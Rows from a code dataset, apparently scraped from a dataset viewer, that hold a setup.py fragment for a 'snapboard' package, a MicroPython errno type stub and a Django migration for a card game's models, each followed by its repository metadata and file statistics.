package_dir={'snapboard': 'snapboard'},
package_data={'snapboard': [
'media/*/*.*',
'media/*/*/*.*',
'templates/*.*',
'templates/snapboard/*.*',
'templates/notification/*.*',
'templates/notification/*/*.*',
]},
)
# vim: ai ts=4 sts=4 et sw=4
| 35.482759 | 94 | 0.654519 | 231 | 2,058 | 5.813853 | 0.709957 | 0.011169 | 0.035741 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.006989 | 0.23518 | 2,058 | 57 | 95 | 36.105263 | 0.846252 | 0.020894 | 0 | 0 | 0 | 0 | 0.761053 | 0.055142 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.019608 | 0 | 0.019608 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
fbfc121251731c0fc307302d4c646f35629b3f89 | 1,577 | py | Python | stubs/micropython-v1_18-docstubs/errno.py | mattytrentini/micropython-stubs | 4d596273823b69e9e5bcf5fa67f249c374ee0bbc | [
"MIT"
] | null | null | null | stubs/micropython-v1_18-docstubs/errno.py | mattytrentini/micropython-stubs | 4d596273823b69e9e5bcf5fa67f249c374ee0bbc | [
"MIT"
] | null | null | null | stubs/micropython-v1_18-docstubs/errno.py | mattytrentini/micropython-stubs | 4d596273823b69e9e5bcf5fa67f249c374ee0bbc | [
"MIT"
] | null | null | null | """
system error codes. See: https://docs.micropython.org/en/v1.18/library/errno.html
|see_cpython_module| :mod:`python:errno` https://docs.python.org/3/library/errno.html .
This module provides access to symbolic error codes for `OSError` exception.
A particular inventory of codes depends on :term:`MicroPython port`.
"""
# source version: v1_18
# origin module:: micropython/docs/library/errno.rst
from typing import Any, Dict
# Error codes, based on ANSI C/POSIX standard. All error codes start with
# "E". As mentioned above, inventory of the codes depends on
# :term:`MicroPython port`. Errors are usually accessible as ``exc.errno``
# where ``exc`` is an instance of `OSError`. Usage example::
#
# try:
# os.mkdir("my_dir")
# except OSError as exc:
# if exc.errno == errno.EEXIST:
# print("Directory already exists")
EEXIST: Any
# Error codes, based on ANSI C/POSIX standard. All error codes start with
# "E". As mentioned above, inventory of the codes depends on
# :term:`MicroPython port`. Errors are usually accessible as ``exc.errno``
# where ``exc`` is an instance of `OSError`. Usage example::
#
# try:
# os.mkdir("my_dir")
# except OSError as exc:
# if exc.errno == errno.EEXIST:
# print("Directory already exists")
EAGAIN: Any
# Dictionary mapping numeric error codes to strings with symbolic error
# code (see above)::
#
# >>> print(errno.errorcode[errno.EEXIST])
# EEXIST
errorcode: Dict
| 37.547619 | 87 | 0.653773 | 210 | 1,577 | 4.885714 | 0.414286 | 0.068226 | 0.040936 | 0.052632 | 0.576023 | 0.576023 | 0.54386 | 0.54386 | 0.54386 | 0.54386 | 0 | 0.005785 | 0.23272 | 1,577 | 41 | 88 | 38.463415 | 0.842149 | 0.915663 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.25 | 0 | 0.25 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
220092cd17887fd6957ea64eb3dde4748ffe5282 | 1,217 | py | Python | WMIAdventure/backend/WMIAdventure_backend/cards/migrations/0004_auto_20210507_1008.py | Michael-Czekanski/WMIAdventure-1 | ea812b13de0cd6c47c541cbede2d016a7837b4b8 | [
"Apache-2.0"
] | 2 | 2021-05-26T15:12:33.000Z | 2021-12-09T17:17:19.000Z | WMIAdventure/backend/WMIAdventure_backend/cards/migrations/0004_auto_20210507_1008.py | Michael-Czekanski/WMIAdventure-1 | ea812b13de0cd6c47c541cbede2d016a7837b4b8 | [
"Apache-2.0"
] | 558 | 2021-05-27T05:41:23.000Z | 2022-02-27T21:50:54.000Z | WMIAdventure/backend/WMIAdventure_backend/cards/migrations/0004_auto_20210507_1008.py | Michael-Czekanski/WMIAdventure-1 | ea812b13de0cd6c47c541cbede2d016a7837b4b8 | [
"Apache-2.0"
] | 4 | 2021-05-26T15:09:29.000Z | 2022-03-13T15:28:07.000Z | # Generated by Django 3.2 on 2021-05-07 08:08
import django.core.validators
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('cards', '0003_cardleveleffects'),
]
operations = [
migrations.AlterField(
model_name='card',
name='next_level_cost',
field=models.IntegerField(null=True, validators=[django.core.validators.MinValueValidator(0), django.core.validators.MaxValueValidator(100)]),
),
migrations.AlterField(
model_name='cardinfo',
name='name',
field=models.CharField(max_length=50, unique=True),
),
migrations.AlterField(
model_name='cardleveleffects',
name='power',
field=models.IntegerField(null=True, validators=[django.core.validators.MinValueValidator(0), django.core.validators.MaxValueValidator(100)]),
),
migrations.AlterField(
model_name='cardleveleffects',
name='range',
field=models.FloatField(null=True, validators=[django.core.validators.MinValueValidator(0), django.core.validators.MaxValueValidator(100)]),
),
]
| 34.771429 | 154 | 0.64092 | 116 | 1,217 | 6.655172 | 0.413793 | 0.090674 | 0.181347 | 0.150259 | 0.59715 | 0.59715 | 0.507772 | 0.507772 | 0.507772 | 0.507772 | 0 | 0.034557 | 0.239113 | 1,217 | 34 | 155 | 35.794118 | 0.799136 | 0.035333 | 0 | 0.428571 | 1 | 0 | 0.084471 | 0.017918 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.071429 | 0 | 0.178571 | 0 | 0 | 0 | 0 | null | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.